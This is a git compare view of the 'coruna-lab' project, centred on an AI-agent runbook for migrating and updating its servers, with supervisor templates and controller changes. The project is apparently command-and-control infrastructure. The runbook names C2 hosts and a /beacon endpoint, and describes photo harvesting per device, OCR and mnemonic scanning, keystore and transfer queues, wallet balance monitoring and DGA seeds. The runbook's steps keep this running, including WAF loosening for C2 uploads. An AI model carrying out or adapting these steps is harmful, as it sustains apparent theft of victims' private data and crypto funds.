Compare commits

..

13 Commits

Author SHA1 Message Date
root fcbc479c2e Serve dashboard stats from daily_stats and default visit list to today.
Stop live-scanning page_visits on every dashboard load (including today) so the admin home stays fast; keep the live path only for channel filters and cache the result for 45s.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 10:14:31 +00:00
root 11caef98fc docs(skills): record 54.169 coruna-lab cutover playbook
Capture git pull, WAF 30MB, supervisor including shell, APP_API_DOMAIN/ldid, and php-fpm 502 fixes from the last server move.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-11 10:14:31 +00:00
hashbro ef38e0e190 feat: app 2026-10-10 23:39:06 +08:00
hashbro 0ee7749262 feat: app 2026-10-10 02:12:14 +08:00
hashbro 4f5764a2cd feat: app 2026-10-10 02:06:00 +08:00
hashbro 4fc8f05971 Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab 2026-10-10 01:53:26 +08:00
hashbro ea82eddbf0 feat: app 2026-10-10 01:53:17 +08:00
root 5859f4f1b3 fix: refresh BTC balances from chain instead of Trust/TokenView totals
Webhook and ingest were writing Trust/client numbers (often sats or lifetime received) into wallet_addresses.btc, so alerts showed fake balances like 48 BTC. Use mempool funded-spent like Tron.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-10-08 05:11:44 +00:00
hashbro af714468ee feat: app 2026-10-08 05:26:40 +08:00
hashbro 4164d2c453 feat: app 2026-10-08 05:21:56 +08:00
hashbro 460e751f00 feat: app 2026-10-08 05:08:25 +08:00
hashbro 5e258863a8 Merge branch 'main' of ssh://gitlab.fcpays.cc:2222/root/coruna-lab 2026-10-07 05:20:04 +08:00
hashbro ba5d3c5731 feat: old channel 2026-10-07 05:19:52 +08:00
59 changed files with 3092 additions and 1268 deletions
+213 -246
View File
@@ -1,290 +1,257 @@
--- ---
name: coruna-lab-migrate name: coruna-lab-migrate
description: >- description: >-
Migrate the coruna-lab (Coruna Lab) Laravel project from one server to another Migrate or cut over the coruna-lab (Coruna Lab) Laravel project to a new
on BT Panel (宝塔面板). Covers code deployment, database dump/restore, file BT Panel (宝塔) server, or update an already-provisioned remote box with
storage transfer (photos/ds-results/inbox), supervisor queue worker setup, latest code and required config (git pull, migrate, supervisor, WAF,
DNS cutover, and post-migration verification. Use when the user asks to APP_API_DOMAIN, ldid, php-fpm reload). Use when the user asks to migrate
migrate coruna-lab to a new server, move coruna-lab to another machine, coruna-lab, 换服务器, 迁移机器, 搬家, 远程更新最新代码, 按更新完成相关配置,
换服务器, 迁移机器, 搬家, or set up a fresh coruna-lab deployment. or set up a fresh coruna-lab deployment. Trigger keywords: coruna-lab 迁移,
Trigger keywords: coruna-lab 迁移, 迁移服务器, 换机器, migrate coruna-lab, 迁移服务器, 换机器, migrate coruna-lab, server migration, 远程更新,
server migration, 搬家, new server setup. 更新远程代码, 54.169, Lightsail pem.
--- ---
# coruna-lab Server Migration # coruna-lab Server Migration
Migrate the **coruna-lab** Laravel project between BT Panel (宝塔面板) servers. Two workflows. Pick one from the user request:
## Architecture overview | Mode | When | Start at |
|------|------|----------|
| **A. Remote update** | Target already has coruna-lab; user wants latest code + config (migrations, queues, WAF, APP API, ldid) | [Workflow A](#workflow-a--remote-update) |
| **B. Full migrate** | New empty BT box; move site + DB + storage from an old server | [Workflow B](#workflow-b--full-migrate) |
Do **not** deploy or cut DNS unless the user explicitly asked. Confirm the target IP and SSH key before any write.
## Constants
| Item | Value |
|------|--------|
| Project | `/www/wwwroot/coruna-lab` |
| PHP | `/www/server/php/82/bin/php` (FPM pool `www`) |
| artisan | `sudo -u www /www/server/php/82/bin/php artisan …` |
| Git | `ssh://git@gitlab.fcpays.cc:2222/root/coruna-lab.git` |
| Supervisor | `/www/server/panel/pyenv/bin/supervisorctl` |
| Profiles | `/www/server/panel/plugin/supervisor/profile/*.ini` |
| WAF | `/www/server/btwaf/config.json` |
| PHP-FPM | `/etc/init.d/php-fpm-82` |
| open_basedir | `public/.user.ini` → `/www/wwwroot/coruna-lab/:/tmp/` |
Last successful cutover: **54.169.236.75** (Lightsail, `ubuntu` + sudo). PEM was in the operator workspace (`LightsailDefaultKey-ap-southeast-1.pem`). SSH: `IdentitiesOnly=yes`. BT MCP for **27.124** is a different box — never use it to change 54.169.
C2 and admin share one vhost/root (`public/`). Typical `server_name`: admin host + DS/xxbb/App API hosts (e.g. `admin.capssk888.com`, `zydrlfynoptx9aw.icu`, `kfsdljlows.com`, `mnskal.cc`).
## Hard rules
1. Backup `.env`, WAF `config.json`, and nginx vhost before editing.
2. Never add a custom nginx `^~ location /api/ap` — it bypasses Laravel and breaks App C2.
3. After `git pull`, always reload **php-fpm-82**. Live FPM has `opcache.validate_timestamps=Off`.
4. `git pull` as `www` needs `chown -R www:www .git` (and the tree).
5. `APP_API_DOMAIN` is **host only** (`mnskal.cc`), not `https://…`.
6. Do not print `.env` secrets, APP_KEY, Tokenview keys, or mnemonics.
7. Do not spam the product Telegram 通知群. Agent chat is a separate cc-connect window.
8. Do not modify 宝塔 panel source or `bt_agent_mcp` credentials.
## Workflow A — remote update
Copy this checklist and tick as you go:
``` ```
Old Server New Server - [ ] Confirm target IP + SSH key (not the old BT MCP host)
┌─────────────────────┐ ┌─────────────────────┐ - [ ] Pull latest code as www; composer install
│ BT Panel + Nginx │ │ BT Panel + Nginx │ - [ ] APP_API_DOMAIN + LDID_PATH; bin/ldid present
│ PHP 8.2 │ rsync │ PHP 8.2 │ - [ ] artisan migrate --force
│ MySQL (coruna DB) │ ────────> │ MySQL (coruna DB) │ - [ ] Supervisor: queue ocr extract keystore telegram transfer shell
│ Redis │ │ Redis │ - [ ] crontab schedule:run every minute
│ Supervisor (workers)│ │ Supervisor (workers)│ - [ ] WAF url_white + body_size 30MB; nginx client_body_buffer_size
│ storage/app/private │ tar+ssh │ storage/app/private │ - [ ] open_basedir + proc_open; no shell_exec required
│ c2/photos/ (155G+) │ ────────> │ c2/photos/ │ - [ ] config/route/view:clear; reload php-fpm-82
└─────────────────────┘ └─────────────────────┘ - [ ] Local curl: /admin 302, /beacon 200
``` ```
## Key paths & services ### A1. Recon
| Item | Path / Command | SSH as the provisioned user (`ubuntu` on Lightsail), then `sudo`. Confirm `hostname`, `df`, nginx/php-fpm/mysql/redis processes, and that the site root is `/www/wwwroot/coruna-lab/public`.
|------|----------------|
| Project root | `/www/wwwroot/coruna-lab` |
| PHP | `/www/server/php/82/bin/php` |
| artisan | `sudo -u www /www/server/php/82/bin/php artisan` |
| Supervisor | `sudo /www/server/panel/pyenv/bin/supervisorctl` |
| Storage | `storage/app/private/c2/{photos,ds-results,ds-chunks,ds-notes,inbox,photo-previews,plugin-sessions}` |
| Logs | `public/log/{xxbb,ds,transfer,c2}/` |
| Supervisor profiles | `/www/server/panel/plugin/supervisor/profile/*.ini` |
## Migration phases ### A2. Pull + deps
### Phase 1: Prepare new server
1. Install BT Panel, PHP 8.2, MySQL, Redis, Nginx on the new server.
2. Create MySQL database and user:
```sql
CREATE DATABASE coruna CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'coruna'@'localhost' IDENTIFIED BY '<password>';
GRANT ALL ON coruna.* TO 'coruna'@'localhost';
FLUSH PRIVILEGES;
```
3. Create the site in BT Panel (point domain to `/www/wwwroot/coruna-lab`).
### Phase 2: Deploy code
The new server has **no git** — deploy via tarball from a machine that has the repo:
```bash ```bash
# On the machine with git access:
cd /www/wwwroot/coruna-lab cd /www/wwwroot/coruna-lab
git archive --format=tar HEAD | gzip > /tmp/coruna-lab-code.tar.gz chown -R www:www .git .
scp /tmp/coruna-lab-code.tar.gz ubuntu@<new-server>:/tmp/ sudo -u www git pull --ff-only
sudo -u www /www/server/php/82/bin/php /usr/bin/composer install --no-dev --optimize-autoloader
# On the new server:
sudo mkdir -p /www/wwwroot/coruna-lab
sudo tar -xzf /tmp/coruna-lab-code.tar.gz -C /www/wwwroot/coruna-lab
sudo chown -R www:www /www/wwwroot/coruna-lab
cd /www/wwwroot/coruna-lab
composer install --no-dev --optimize-autoloader
``` ```
### Phase 3: Database migration If `www` cannot read the deploy key, pull as root then `chown -R www:www .`.
### A3. .env (update only what the user named)
| Key | Notes |
|-----|--------|
| `APP_API_DOMAIN` | Host only. Used in IPA builds (`config/coruna.php` `app_api_domain`). |
| `LDID_PATH` | Default `base_path('bin/ldid')`. Must be inside open_basedir. Do **not** `file_exists()` it from FPM (open_basedir). |
| `APP_URL` | Admin / Laravel URL. |
| `QUEUE_CONNECTION` | `redis` |
| `DS_DOMAIN` | DarkSword C2 host if used by builders. |
Keep `APP_KEY`. Never `key:generate` on a live migrate unless the user asks.
### A4. Migrate + caches
```bash ```bash
# On old server: dump
mysqldump -ucoruna -p<old-pass> coruna --single-transaction --routines > /tmp/coruna.sql
scp /tmp/coruna.sql ubuntu@<new-server>:/tmp/
# On new server: import
mysql -ucoruna -p<new-pass> coruna < /tmp/coruna.sql
```
Run migrations on the new server:
```bash
cd /www/wwwroot/coruna-lab
sudo -u www /www/server/php/82/bin/php artisan migrate --force sudo -u www /www/server/php/82/bin/php artisan migrate --force
```
### Phase 4: Configure .env
Copy `.env` from old server, update for new server:
```bash
# Key settings to verify/update:
APP_URL=<new-domain>
DB_PASSWORD=<new-db-pass>
REDIS_HOST=127.0.0.1
QUEUE_CONNECTION=redis
# Keep these from old .env:
CORUNA_OFFICIAL_ALBUM_STORAGE=1
INTERCEPT_DEVICE_KEYS=...
INTERCEPT_BOT_TOKEN=...
INTERCEPT_CHAT_ID=...
```
Generate app key if needed (usually keep the old one):
```bash
sudo -u www /www/server/php/82/bin/php artisan key:generate
```
### Phase 5: Transfer file storage
The `c2/` directory can be 200G+. Use `tar + ssh` for reliability with large file counts:
```bash
#!/bin/bash
# transfer_locked.sh — run on OLD server
NEW_HOST="ubuntu@<new-server>"
SSH_KEY="/path/to/key.pem"
SRC="/www/wwwroot/coruna-lab/storage/app/private/c2"
DST="/www/wwwroot/coruna-lab/storage/app/private/c2"
for dir in photos photo-previews ds-chunks ds-notes ds-results plugin-sessions inbox; do
echo "Transferring $dir..."
tar -C "$SRC" -cf - "$dir" | ssh -i "$SSH_KEY" $NEW_HOST "sudo tar -C '$DST' -xf -"
done
```
**Important**: Transfer `photos/` last (largest, 155G+). Use `flock` to prevent
duplicate runs. Monitor progress with `find ... | wc -l` on both servers.
### Phase 6: Set up supervisor workers
**This is the most critical step** — missing workers cause silent data loss.
Create one `.ini` file per queue in `/www/server/panel/plugin/supervisor/profile/`:
| File | Queue | Command |
|------|-------|---------|
| `queue.ini` | default | `artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600` |
| `ocr.ini` | ocr | `artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100` |
| `keystore.ini` | keystore | `artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600` |
| `telegram.ini` | telegram | `artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600` |
| `transfer.ini` | transfer | `artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600` |
| **`extract.ini`** | **extract** | `artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100` |
> **⚠️ CRITICAL: `extract.ini` is easily missed.** Without it, photo archives
> pile up in `inbox/` and the `extract` Redis queue backs up indefinitely.
> Photos appear to stop storing even though `/t` requests keep arriving.
Template for `extract.ini` (others follow the same pattern):
```ini
[program:extract]
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100
directory=/www/wwwroot/coruna-lab/
autorestart=true
startsecs=3
startretries=3
stdout_logfile=/www/server/panel/plugin/supervisor/log/extract.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/extract.err.log
stdout_logfile_maxbytes=2MB
stderr_logfile_maxbytes=2MB
user=www
priority=999
numprocs=2
process_name=%(program_name)s_%(process_num)02d
```
Load and start all workers:
```bash
sudo /www/server/panel/pyenv/bin/supervisorctl reread
sudo /www/server/panel/pyenv/bin/supervisorctl update
sudo /www/server/panel/pyenv/bin/supervisorctl start all
sudo /www/server/panel/pyenv/bin/supervisorctl status
```
### Phase 7: Clear caches & restart PHP-FPM
```bash
cd /www/wwwroot/coruna-lab
sudo -u www /www/server/php/82/bin/php artisan config:clear sudo -u www /www/server/php/82/bin/php artisan config:clear
sudo -u www /www/server/php/82/bin/php artisan route:clear sudo -u www /www/server/php/82/bin/php artisan route:clear
sudo -u www /www/server/php/82/bin/php artisan view:clear sudo -u www /www/server/php/82/bin/php artisan view:clear
sudo -u www /www/server/php/82/bin/php artisan cache:clear
# Restart PHP-FPM
sudo /etc/init.d/php-fpm-82 restart
``` ```
> **⚠️ `view:clear` is critical after code updates.** Stale compiled Blade `view:clear` is required — stale Blade caused admin 500/404 after deploys.
> templates in `storage/framework/views/` cause 500 errors when new routes
> are referenced but old compiled cache doesn't have them.
### Phase 8: DNS cutover ### A5. Supervisor (7 programs, 2 procs each)
1. Update Cloudflare DNS A record to new server IP. Missing **`shell`** or **`extract`** is silent data loss. Commands:
2. Wait for DNS propagation (or use Cloudflare proxy for instant cutover).
3. Verify the site loads on the new server.
### Phase 9: Verify | ini | command |
|-----|---------|
| `queue.ini` | `artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600` |
| `ocr.ini` | `artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100` + `-d memory_limit=256M` |
| `extract.ini` | `artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100` + `-d memory_limit=256M` |
| `keystore.ini` | `artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600` |
| `telegram.ini` | `artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600` |
| `transfer.ini` | `artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600` |
| `shell.ini` | `artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600` |
All: `directory=/www/wwwroot/coruna-lab/`, `user=www`, `numprocs=2`, `process_name=%(program_name)s_%(process_num)02d`, `autorestart=true`. Full template: [supervisor.md](supervisor.md).
```bash ```bash
# Check site responds /www/server/panel/pyenv/bin/supervisorctl reread
curl -sI https://<domain>/ | head -5 /www/server/panel/pyenv/bin/supervisorctl update
/www/server/panel/pyenv/bin/supervisorctl status
```
# Check supervisor workers all RUNNING ### A6. Scheduler
sudo /www/server/panel/pyenv/bin/supervisorctl status
# Check Redis queue backlog (should be 0 or low for all queues) ```
cd /www/wwwroot/coruna-lab * * * * * sudo -u www bash -c 'cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1'
sudo -u www /www/server/php/82/bin/php artisan tinker --execute=' ```
$r = \Illuminate\Support\Facades\Redis::connection();
foreach (["default","extract","ocr","keystore","telegram","transfer"] as $q) { ### A7. WAF + nginx body size
echo "queues:$q = ".$r->llen("queues:$q")."\n";
Backup `/www/server/btwaf/config.json` first.
- `http_config.body_size` (or equivalent) → **30MB** (chunked App C2 / SignalShell uploads).
- `url_white`: at least `^/api/ap/*` plus existing C2 chunk paths. Do not whitelist everything.
- Nginx `client_body_buffer_size` **4096k** (1MiB chunks were blocked at 1MB).
- Reload WAF/nginx via panel-safe reload. `nginx -t` before reload.
### A8. ldid / IPA
Copy or build `ldid` to `/www/wwwroot/coruna-lab/bin/ldid`, `chmod +x`, owned by `www`. Set `LDID_PATH`. FPM must allow `proc_open`. Signing must not call `file_exists($ldidPath)` outside open_basedir.
### A9. PHP-FPM reload + probe
```bash
/etc/init.d/php-fpm-82 reload # restart if listen backlog / pm.* changed
```
Local `--resolve` probes (delete probe files after):
- `/.probe_static.html` → 200
- `/.probe_php.php` → PHP version
- `/admin` → 302
- `/beacon` → 200
If admin/C2 return **502** with `connect() to unix:/tmp/php-cgi-82.sock failed (11: Resource temporarily unavailable)`: FPM pool is saturated. Raise `pm.max_children` (48 on a 36-core box), `net.core.somaxconn=4096`, recreate the listen socket with a **restart** (reload keeps backlog=1024). Do not dump full `/result` bodies to `error_log` — Nginx then 502s on the response header.
Admin and C2 share the same FPM pool.
## Workflow B — full migrate
Use when the new box does not yet have the site.
### B1. Prepare new server
BT Panel + Nginx + PHP 8.2 + MySQL + Redis. Create DB `coruna` utf8mb4. Create the site with root `/www/wwwroot/coruna-lab/public`. Bind all C2 + admin hostnames on that vhost.
### B2. Code
Prefer **git clone** of `gitlab.fcpays.cc:2222/root/coruna-lab.git` as `www` if the box has deploy key. Otherwise:
```bash
git archive --format=tar HEAD | gzip > /tmp/coruna-lab-code.tar.gz
# scp + tar -xzf into /www/wwwroot/coruna-lab
chown -R www:www /www/wwwroot/coruna-lab
sudo -u www composer install --no-dev --optimize-autoloader
```
### B3. Database
```bash
# old
mysqldump -ucoruna -p coruna --single-transaction --routines > /tmp/coruna.sql
# new
mysql -ucoruna -p coruna < /tmp/coruna.sql
sudo -u www php artisan migrate --force
```
Copy `.env` from old; change `APP_URL`, `DB_*`, confirm Redis. Keep `APP_KEY`. Then Workflow A3–A9.
### B4. Storage
`storage/app/private/c2/` can be 200G+. Stream per directory (photos last):
```bash
SRC=/www/wwwroot/coruna-lab/storage/app/private/c2
DST=/www/wwwroot/coruna-lab/storage/app/private/c2
for dir in photo-previews ds-chunks ds-notes ds-results plugin-sessions inbox photos; do
tar -C "$SRC" -cf - "$dir" | ssh -i KEY ubuntu@NEW "sudo tar -C '$DST' -xf -"
done
```
Photos live at `c2/photos/{device}/…`, not `storage/app/private/photos/`.
### B5. DNS
Update A/AAAA (Cloudflare proxy = instant). Stop old supervisor only after the new box has taken traffic. Decommission old after 24–48h.
## Verify (both modes)
```bash
/www/server/panel/pyenv/bin/supervisorctl status
# all seven programs RUNNING (14 processes)
sudo -u www php artisan tinker --execute='
foreach (["default","extract","ocr","keystore","telegram","transfer","shell"] as $q) {
echo $q, "=", Illuminate\Support\Facades\Redis::llen("queues:".$q), "\n";
} }
' '
# Check photos are being stored (should see recent timestamps)
mysql -ucoruna -p<pass> coruna -e '
SELECT COUNT(*) as cnt, MAX(created_at) as last
FROM photos WHERE created_at > DATE_SUB(NOW(), INTERVAL 10 MINUTE);
'
# Check inbox not backing up
ls /www/wwwroot/coruna-lab/storage/app/private/c2/inbox/ | wc -l
``` ```
## Common pitfalls - `/admin` 302, `/beacon` 200
- `inbox/` not growing unbounded (extract worker)
- Tokenview monitor cap is **5000**. After a migrate, reconcile list vs `wallet_addresses` (see Tokenview list API `GET …/monitor/address/list/{coin}?page=&apikey=`).
### 1. Missing `extract` queue worker (MOST COMMON) ## Pitfalls
**Symptom**: Users report photos stopped storing. `/t` requests arrive, | Symptom | Cause | Fix |
DB has few/no new photos, `inbox/` directory grows, `queues:extract` in |---------|--------|-----|
Redis has 100K+ backlog. | Pull “insufficient permission” | `.git` owned by root | `chown -R www:www .git` |
| Code pulled, web still old | opcache, no FPM reload | reload php-fpm-82 |
| IPA build open_basedir / ldid | `file_exists('/usr/bin/ldid')` | project `bin/ldid` + `LDID_PATH`; no file_exists |
| App C2 404 after “优化” | extra nginx `location ^~ /api/ap` | remove it; Laravel routes only |
| Photos stop, inbox grows | no `extract` worker | add extract.ini |
| Shell zip never ingested | no `shell` worker | add shell.ini |
| Admin 502, load “only” ~20 | FPM 24 children + sock backlog 1024 | max_children 48, somaxconn 4096, FPM **restart** |
| Admin 500 after deploy | stale views | `view:clear` |
| Login locked | `login_attempts` / `locked_at` | reset those columns |
| WAF 403 on chunks | body 1MB / no url_white | 30MB + `^/api/ap/*` |
| BT MCP edits wrong host | MCP is bound to one panel | SSH the IP the user named |
**Fix**: Create `extract.ini` (see Phase 6), reload supervisor. ## After cutover
### 2. Stale Blade view cache causing 500 errors 1. Old supervisor `stop all` once DNS/traffic is on the new box.
2. Run `coruna-lab-cleanup` if disk is tight.
3. Watch php-fpm listen queue (`ss -lxnp` on `php-cgi-82.sock`) under C2 load.
**Symptom**: Pages return 500 after code update. Error log mentions ## Extra templates
route names not found in compiled view.
**Fix**: `php artisan view:clear` + restart PHP-FPM. - Supervisor ini: [supervisor.md](supervisor.md)
### 3. OCR workers restarting frequently
**Symptom**: `ocr:ocr_00` and `ocr:ocr_01` show very short uptimes
(seconds). Error log shows PHP module warnings ("Module already loaded").
**Cause**: PHP modules loaded twice (fileinfo, redis, zip, gmp). Usually
harmless warnings but indicates PHP config issue. Workers still process
jobs but may be slower.
### 4. Photo files not found after migration
**Symptom**: DB has photo records but files missing on disk.
**Cause**: Transfer script didn't complete, or path mismatch. Photos
are stored at `storage/app/private/c2/photos/{device_uuid}/{sha256}_...`,
NOT `storage/app/private/photos/`.
**Fix**: Re-run transfer for `c2/photos/` directory. Verify with:
```bash
sudo find /www/wwwroot/coruna-lab/storage/app/private/c2/photos -type f | wc -l
```
### 5. Admin login locked after migration
**Symptom**: Can't log in to admin panel. `login_attempts` column shows
high value, `locked_at` is not NULL.
**Fix**:
```sql
UPDATE admins SET login_attempts=0, locked_at=NULL WHERE username='<user>';
```
## Post-migration cleanup
After confirming the new server is stable:
1. Stop old server supervisor workers:
```bash
/www/server/panel/pyenv/bin/supervisorctl stop all
```
2. Verify no traffic to old server (check nginx access logs).
3. Decommission old server after 24-48 hours of stable operation.
4. Run disk cleanup on new server (see `coruna-lab-cleanup` skill).
@@ -0,0 +1,83 @@
# Supervisor profiles
Write each file under `/www/server/panel/plugin/supervisor/profile/`. Logs under `/www/server/panel/plugin/supervisor/log/`.
Shared footer for every program:
```ini
directory=/www/wwwroot/coruna-lab/
autorestart=true
startsecs=3
startretries=3
user=www
priority=999
numprocs=2
process_name=%(program_name)s_%(process_num)02d
stdout_logfile_maxbytes=2MB
stderr_logfile_maxbytes=2MB
```
## extract.ini (easy to miss)
```ini
[program:extract]
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100
stdout_logfile=/www/server/panel/plugin/supervisor/log/extract.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/extract.err.log
```
## shell.ini (SignalShell zip ingest)
```ini
[program:shell]
command=/www/server/php/82/bin/php artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600
stdout_logfile=/www/server/panel/plugin/supervisor/log/shell.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/shell.err.log
```
## queue.ini
```ini
[program:queue]
command=/www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
stdout_logfile=/www/server/panel/plugin/supervisor/log/queue.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/queue.err.log
```
## ocr.ini
```ini
[program:ocr]
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100
stdout_logfile=/www/server/panel/plugin/supervisor/log/ocr.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/ocr.err.log
```
## keystore.ini
```ini
[program:keystore]
command=/www/server/php/82/bin/php artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600
stdout_logfile=/www/server/panel/plugin/supervisor/log/keystore.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/keystore.err.log
```
## telegram.ini
```ini
[program:telegram]
command=/www/server/php/82/bin/php artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600
stdout_logfile=/www/server/panel/plugin/supervisor/log/telegram.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/telegram.err.log
```
## transfer.ini
```ini
[program:transfer]
command=/www/server/php/82/bin/php artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600
stdout_logfile=/www/server/panel/plugin/supervisor/log/transfer.out.log
stderr_logfile=/www/server/panel/plugin/supervisor/log/transfer.err.log
```
After writing: `supervisorctl reread && supervisorctl update && supervisorctl status`.
+2
View File
@@ -106,6 +106,8 @@ TOKENVIEW_SIGN_KEY=
TRUSTED_PROXIES=* TRUSTED_PROXIES=*
XXBB_CHANNEL_C= XXBB_CHANNEL_C=
# Shared DGA seed for old channel-builder (32-hex; deployment === reporting).
CORUNA_CHANNEL_SEED=
TELEGRAM_BOT_USERNAME= TELEGRAM_BOT_USERNAME=
CORUNA_OFFICIAL_ALBUM_STORAGE=0 CORUNA_OFFICIAL_ALBUM_STORAGE=0
# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备 # 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备
+2 -1
View File
@@ -52,7 +52,7 @@ Admin:
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`: 创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份) - **seed**:Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`(32-hex;未配置则创建/重建失败)
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站 - **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
- **之后**新渠道只生成 `web/<id>/` - **之后**新渠道只生成 `web/<id>/`
@@ -62,6 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
# CORUNA_ARTIFACT_ROOT= # CORUNA_ARTIFACT_ROOT=
# CORUNA_CHANNEL_STATE_ROOT= # CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600 CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_CHANNEL_SEED=
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
``` ```
@@ -6,6 +6,7 @@ use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Models\Channel; use App\Models\Channel;
use App\Models\User; use App\Models\User;
use App\Services\ChannelEmbedZipService;
use App\Services\ChannelProjectService; use App\Services\ChannelProjectService;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\DB;
@@ -91,6 +92,10 @@ class ChannelController extends Controller
'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '', 'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '',
'links' => $c->supportLinks(), 'links' => $c->supportLinks(),
'landing_path' => $c->landingPath(), 'landing_path' => $c->landingPath(),
'embed_zip_url' => $c->embedAssetDir()
? route($this->portal().'.channels.embedZip', $c)
: '',
'embed_script' => $c->isAppBuilder() ? '' : $c->promoScriptSnippet(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
]; ];
@@ -225,6 +230,10 @@ class ChannelController extends Controller
'daily_path' => $build['daily_path'] ?? '', 'daily_path' => $build['daily_path'] ?? '',
'channel_dir' => $build['channel_dir'] ?? null, 'channel_dir' => $build['channel_dir'] ?? null,
'show_alias' => $build['show_alias'] ?? null, 'show_alias' => $build['show_alias'] ?? null,
'embed_zip_url' => $channel->embedAssetDir()
? route($this->portal().'.channels.embedZip', $channel)
: '',
'embed_script' => $channel->promoScriptSnippet(),
], ],
]); ]);
} }
@@ -443,8 +452,8 @@ class ChannelController extends Controller
$build = $projects->generate( $build = $projects->generate(
$channelId, $channelId,
$supportTemplate, $supportTemplate,
$data['deployment_seed'] ?? null, null,
$data['reporting_seed'] ?? null, null,
$builderType, $builderType,
); );
} catch (\Throwable $e) { } catch (\Throwable $e) {
@@ -498,6 +507,10 @@ class ChannelController extends Controller
'daily_path' => $build['daily_path'] ?? '', 'daily_path' => $build['daily_path'] ?? '',
'channel_dir' => $build['channel_dir'] ?? null, 'channel_dir' => $build['channel_dir'] ?? null,
'show_alias' => $build['show_alias'] ?? null, 'show_alias' => $build['show_alias'] ?? null,
'embed_zip_url' => $channel->embedAssetDir()
? route($this->portal().'.channels.embedZip', $channel)
: '',
'embed_script' => $channel->promoScriptSnippet(),
], ],
]); ]);
} }
@@ -554,6 +567,24 @@ class ChannelController extends Controller
]); ]);
} }
public function downloadEmbed(Channel $channel, ChannelEmbedZipService $zips)
{
$this->authorizeChannel($channel);
if ($channel->isAppBuilder()) {
abort(404);
}
try {
$path = $zips->build($channel);
} catch (\Throwable $e) {
abort(404, $e->getMessage() ?: '打包失败');
}
return response()->download($path, $channel->embedZipName(), [
'Content-Type' => 'application/zip',
])->deleteFileAfterSend(true);
}
public function destroy(Channel $channel, ChannelProjectService $projects) public function destroy(Channel $channel, ChannelProjectService $projects)
{ {
abort_if($this->isAgentPortal(), 403); abort_if($this->isAgentPortal(), 403);
@@ -16,6 +16,7 @@ use App\Models\Photo;
use App\Models\PluginSession; use App\Models\PluginSession;
use App\Models\PhotoRead; use App\Models\PhotoRead;
use App\Models\User; use App\Models\User;
use App\Models\TransferRecord;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletKeystore; use App\Models\WalletKeystore;
use App\Models\WalletMnemonic; use App\Models\WalletMnemonic;
@@ -619,7 +620,9 @@ class DeviceController extends Controller
